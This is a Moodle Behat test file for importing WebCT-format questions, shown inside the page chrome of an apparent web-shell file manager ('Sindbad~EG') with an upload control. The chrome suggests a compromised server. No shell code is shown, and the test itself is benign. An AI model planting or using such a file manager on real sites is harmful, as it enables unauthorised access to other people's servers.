Sindbad~EG File Manager

Current Path : /var/www/html/ceade.tocsa.com.py/question/format/webct/tests/behat/
Upload File :
Current File : /var/www/html/ceade.tocsa.com.py/question/format/webct/tests/behat/import.feature

@qformat @qformat_webct
Feature: Test importing questions from WebCT format.
  In order to reuse questions from am obsolete commercial LMS
  As an teacher
  I need to be able to import them in WebCT format.

  Background:
    Given the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1        | topics |
    And the following "users" exist:
      | username | firstname |
      | teacher  | Teacher   |
    And the following "course enrolments" exist:
      | user    | course | role           |
      | teacher | C1     | editingteacher |

  @javascript @_file_upload
  Scenario: import some WebCT questions
    When I am on the "Course 1" "core_question > course question import" page logged in as "teacher"
    And I set the field "id_format_webct" to "1"
    And I upload "question/format/webct/tests/fixtures/sample_webct.txt" file to "Import" filemanager
    And I press "id_submitbutton"
    Then I should see "Parsing questions from import file."
    And I should see "Importing 6 questions from file"
    And I should see "What's between orange and green in the spectrum?"
    When I press "Continue"
    Then I should see "USER-3"

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists